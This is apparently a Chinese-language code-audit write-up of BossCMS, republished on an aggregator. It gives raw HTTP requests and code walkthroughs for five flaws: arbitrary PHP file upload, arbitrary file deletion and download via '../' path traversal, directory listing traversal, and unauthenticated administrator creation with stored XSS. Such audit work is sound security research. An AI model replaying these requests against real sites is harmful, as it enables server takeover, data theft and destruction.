10、BossCms代碼審計

1、任意文件上傳

限制

復現

POST /system/extend/ueditor/php/controller.php?action=uploadfile&encode=utf-8 HTTP/1.1
Host: bosscms.com
Content-Length: 761
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAsLBZuxNv1g9kBB0
Accept: */*
Origin: http://bosscms.com
Referer: http://bosscms.com/system/extend/ueditor/dialogs/attachment/attachment.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=sle15srngo4hspjv2d7ifia6b5
Connection: close------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="id"WU_FILE_0
------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="name"1.php
------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="type"application
------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="lastModifiedDate"Wed Jun 07 2023 17:22:54 GMT+0800 (中國標準時間)
------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="size"20
------WebKitFormBoundaryAsLBZuxNv1g9kBB0
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: application/octet-stream<?php phpinfo();?>------WebKitFormBoundaryAsLBZuxNv1g9kBB0--
添加允許上傳的類型,上傳php文件不通過

在這里插入圖片描述
在這里插入圖片描述

直接通過鏈接形式上傳文件,上傳后會出現訪問地址

在這里插入圖片描述
在這里插入圖片描述

代碼

上傳的邏輯值判斷了是否有上傳文件,和上傳文件的大小,并沒有對文件后綴和內容做處理

2、任意文件刪除

限制

POST請求,path=upload

復現

POST /system/extend/ueditor/php/controller.php?action=delete HTTP/1.1
Host: bosscms.com
Content-Length: 17
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://bosscms.com
Referer: http://bosscms.com/system/extend/ueditor/dialogs/image/image.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g9uga15pd36g46d51ngsrk5mg5
Connection: closepath=upload/1.txt

在這里插入圖片描述

代碼

同文件里有delete函數,判斷以post請求的path參數是否存在并且匹配是否以upload開頭

在這里插入圖片描述

判斷config中store_type是否為空,如果 不為空的話調用oss類下的delete()方法反之調用dir類下的delete()方法搜索store_type發現該處功能為設置存儲方式,默認為0  。所以 走dir類下的delete()  

在這里插入圖片描述

replace對path進行簡單的替換,沒有涉及到要用的字符,所以可以直接寫入路徑../。if判斷路徑是否有文件,有則直接刪除

在這里插入圖片描述
在這里插入圖片描述

3、任意文件下載

限制

mold=safe&part=backup&func=download&id=../../basic/1.txt

復現

GET /admin/?mold=safe&part=backup&func=download&id=../../basic/1.txt HTTP/1.1
Host: bosscms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms.com/admin/?mold=safe&part=backup&func=table
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g9uga15pd36g46d51ngsrk5mg5
Connection: close

在這里插入圖片描述

代碼

判斷id參數是否存在,存在則拼接sql和路徑賦值給$file.在判斷$file是不是文件,是則返回header,readfile($file);直接讀取這個文件

在這里插入圖片描述

4、目錄遍歷

限制

action=listfile&folder=../ 

復現

GET /system/extend/ueditor/php/controller.php?action=listfile&folder=../ HTTP/1.1
Host: bosscms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: */*
Referer: http://bosscms.com/admin/?mold=site&part=site&func=init
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g9uga15pd36g46d51ngsrk5mg5
Connection: close

在這里插入圖片描述

代碼

先調用config指向fileManagerActionName(列出文件),在返回listfile函數;在判斷get-start和get-size參數是否存在并且是數字。

在這里插入圖片描述
在這里插入圖片描述

在繼續調用lists,接受folder參數調用arrExist函數,判斷數組是否存在,存在就鍵值分離,否則返回空;將結果賦值給$folder;$path = dir::replace($path.'/'.$folder);將$path拼接/和$folder在替換;下面對$path的操作都是read直接讀路徑

在這里插入圖片描述

 通過opendir()、readdir()打開目錄并讀取目錄中的內容  

在這里插入圖片描述

5、未授權添加管理員

限制

mold=manager&part=manager&func=add
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="username"eeee
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="password"qwert
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="passwords"qwert
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="level"2

復現

POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
Host: bosscms.com
Content-Length: 395
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrrq418NZS9wguXwR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms.com/admin/?mold=manager&part=manager&func=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g9uga15pd36g46d51ngsrk5mg5
Connection: close------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="username"test
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="password"qwert
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="passwords"qwert
------WebKitFormBoundaryrrq418NZS9wguXwR
Content-Disposition: form-data; name="level"2
添加管理員抓到數據包,退出登錄發送,添加成功-跳轉到登錄頁面

在這里插入圖片描述
在這里插入圖片描述

代碼

以post方式請求,$data為數組賦值,if判斷新密碼和重復的密碼是否相同,if兩次密碼不為空,在if兩次密碼是否相等,相等則向密碼md5賦值給$data[pasword]

在這里插入圖片描述

如果要觸發alert(保存成功)就不要滿足if..else的條件。首先這里id是不存在的,else要讓username不重復,lecel等級不等于1,就跳出條件語句執行alert(保存成功),從頭到尾都沒有驗證用戶的登錄狀態

在這里插入圖片描述

這里代碼對username沒有做xss處理也存在xss

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/718765.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/718765.shtml
英文地址,請注明出處:http://en.pswp.cn/news/718765.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

為什么要學習三維GIS開發?從技術層面告訴你答案

大家都知道GIS開發屬于GIS行業中就業薪資較高的崗位&#xff0c;并且測繪、遙感以及城規等相關專業的畢業生紛紛轉行做webgis開發。 那么&#xff0c;今天小編從技術層面探討一下&#xff0c;為什么建議大家不要僅僅停留在webgis&#xff0c;而要繼續往前學習三維GIS開發&…

TSINGSEE青犀AI智能分析網關V4智慧油田安全生產監管方案

一、方案背景 隨著科技的不斷發展&#xff0c;視頻監控技術在油田行業中得到了廣泛應用。為了提高油田生產的安全性和效率&#xff0c;建設一套智能視頻監控平臺保障安全生產顯得尤為重要。本方案采用先進的視頻分析技術、物聯網技術、云計算技術、大數據和人工智能技術&#…

Linux設備模型(十) - bus/device/device_driver/class

四&#xff0c;驅動的注冊 1&#xff0c;struct device_driver結構體 /** * struct device_driver - The basic device driver structure * name: Name of the device driver. * bus: The bus which the device of this driver belongs to. * owner: The module own…

JavaWeb Tomcat啟動、部署、配置、集成IDEA

web服務器軟件 服務器是安裝了服務器軟件的計算機&#xff0c;在web服務器軟件中&#xff0c;可以部署web項目&#xff0c;讓用戶通過瀏覽器來訪問這些項目。 Web服務器是一個應用程序&#xff08;軟件&#xff09;&#xff0c;對HTTP協議的操作進行封裝&#xff0c;使得程序…

MATLAB讀取txt文本數據及可視化指南

MATLAB讀取txt文本數據的說明指南 目錄 MATLAB讀取txt文本數據的說明指南摘要1. 數據準備2. 讀取數據3. 繪制圖形4. 小結 摘要 在MATLAB中&#xff0c;讀取txt文本格式文件數據是一項基本的操作&#xff0c;特別是在數據分析和可視化方面。本文將介紹如何使用MATLAB讀取txt文本…

C++ 基礎知識

一. 預備知識 1. C的編程方式 過程性語言 (結構化、自頂向下)、面向對象語言、泛型編程 (創建獨立于類型的代碼) 2. 創建源代碼文件的技巧 擴展名&#xff1a;.cpp 二. 第一個程序 - HelloWorld main() 入口點 返回 int 標準庫 iostream std: 標準庫的縮寫 Statement…

HarmonyOS-使用call事件拉起指定UIAbility到后臺

使用call事件拉起指定UIAbility到后臺 許多應用希望借助卡片的能力&#xff0c;實現和應用在前臺時相同的功能。例如音樂卡片&#xff0c;卡片上提供播放、暫停等按鈕&#xff0c;點擊不同按鈕將觸發音樂應用的不同功能&#xff0c;進而提高用戶的體驗。在卡片中使用postCardA…

科技的成就(五十七)

535、Machine Learning "1959 年 7 月&#xff0c;塞繆爾首創 Machine Learning 一詞。塞繆爾在“Some Studies in Machine Learning Using theGame of Checkers”一文中給 Machine Learning 下了個非正式定義&#xff1a;沒有明確編程指令的情況下&#xff0c;能讓計算機…

【js中的作用域】

理解 js中的作用我們可以分為三個部分 全局作用域函數作用域塊級作用域 全局作用域 不在任何函數內部或者大括號中聲明的變量,都是再全局作用域下,全局聲明的變量可以在程序中的任何位置訪問 函數作用域 函數作用域也叫局部作用域,如果一個變量聲名在一個函數內部,那么它…

LSTM進行字符級文本生成(pytorch實現)

文章目錄 基于pytorch的LSTM進行字符集文本生成前言一、數據集二、代碼實現 1.到入庫和LSTM進行模型構建2.數據預處理函數3.訓練函數4.預測函數5.文本生成函數6.主函數完整代碼總結 前言 本文介紹了機器學習中深度學習的內容使用pytorch構建LSTM模型進行字符級文本生成任務 一…

王者榮耀整蠱搭建直播新玩法/obs貼紙配置教程

最近很火的王者榮耀整蠱直播&#xff0c;相信很多玩王者的玩家也想開一個直播&#xff0c;但是看到這種直播娛樂效果很有意思也想搭建一個&#xff0c;這里夢哥給大家出了一期搭建的教程&#xff01; 進階版視頻教程&#xff1a; 這期的教程是進階版新玩法升級&#xff0c;具體…

Vue3:使用 Composition API 不需要 Pinia

在 Vue.js 開發的動態環境中&#xff0c;在單個組件中處理復雜的業務邏輯可能會導致笨重的文件和維護噩夢。雖然 Pinia 提供集中式狀態管理&#xff0c;但僅依賴它來處理復雜的業務邏輯可能會導致代碼混亂。本文探討了使用 Composition API 的替代方法&#xff0c;說明開發人員…

數據庫表 索引

目錄 一、索引的分類 1、按存儲形式: 1&#xff09;B-TREE索引&#xff1a; 2&#xff09;位圖索引&#xff1a; 3&#xff09;反向鍵索引&#xff1a; 4&#xff09;基于函數的索引&#xff1a; 2、按唯一性&#xff1a; 1&#xff09;唯一索引&#xff1a; 3、按列的個數…

代碼隨想錄算法訓練營第八天

344. 反轉字符串 方法&#xff1a; 方法一&#xff1a; 直接用reverse函數 注意&#xff1a; 代碼&#xff1a; class Solution { public:void reverseString(vector<char>& s) {return reverse(s.begin(), s.end());} };運行結果&#xff1a; 方法&#xff1…

解釋前端路由的概念,以及單頁應用(SPA)和多頁應用(MPA)的區別

前端路由是現代Web應用中的一種設計模式&#xff0c;它允許用戶在單個網頁應用程序&#xff08;SPA&#xff09;內部通過改變URL而無需重新加載整個頁面來切換不同的視圖或內容。在傳統的多頁應用&#xff08;MPA&#xff09;中&#xff0c;每訪問一個新頁面&#xff0c;瀏覽器…

搜索算法(算法競賽、藍橋杯)--雙向DFS+二分查找

1、B站視頻鏈接&#xff1a;B26 雙向DFS 送禮物_嗶哩嗶哩_bilibili #include <bits/stdc.h> using namespace std; int n,m; int g[46];//存儲所有物品的質量 int w[1<<23];//存儲所有能湊出來的重量 int ans,cnt;//w的個數是cnt//搜索第u個數&#xff0c;和為s; …

Geeker Admin添加若以分離版本的后臺作為后臺

添加驗證碼 下載若依賴前后端分離版本&#xff0c;配置好自己數據庫&#xff0c;redis連接地址 登錄添加驗證碼 配置自己的若依后端連接地址 添加驗證碼請求方法 登錄頁面登錄輸入框添加驗證碼&#xff0c;uuid,調用的驗證碼刷新方法 注意&#xff1a;這里要用響應式定義驗證…

5_怎么看原理圖之協議類接口之NAND Flash筆記

NAND Flash原理圖&#xff1a; 由NAND Flash的原理圖可以看出&#xff0c;做為一個存儲芯片&#xff0c;只有I/O引腳&#xff0c;并沒有地址引腳&#xff0c;怎么傳地址&#xff1f;遵循一定的規范&#xff0c;先通過LDATA把地址傳出去&#xff0c;再傳數據。具體的需要查看芯片…

vue前端數據轉換顯示

<el-table-column label"項目模板名稱" align"center" prop"tempName" width"180" :formatter"templFormat" /> :formatter"templFormat" // 模板名單 optionTempls: [], // datas value templFormat(row,…

HTTP Cookie 你了解多少?

Cookie是什么&#xff1f; 先給大家舉個例子&#xff0c;F12 打開瀏覽器的頁面之后&#xff0c;我們能在 Response Headers 的字段里面看到一個header 叫做 Set-Cookie&#xff0c;如下所示 圖中包含的 Set-Cookie 為 Set-Cookie:uuid_tt_dd10_20293537580-1709432565344-232…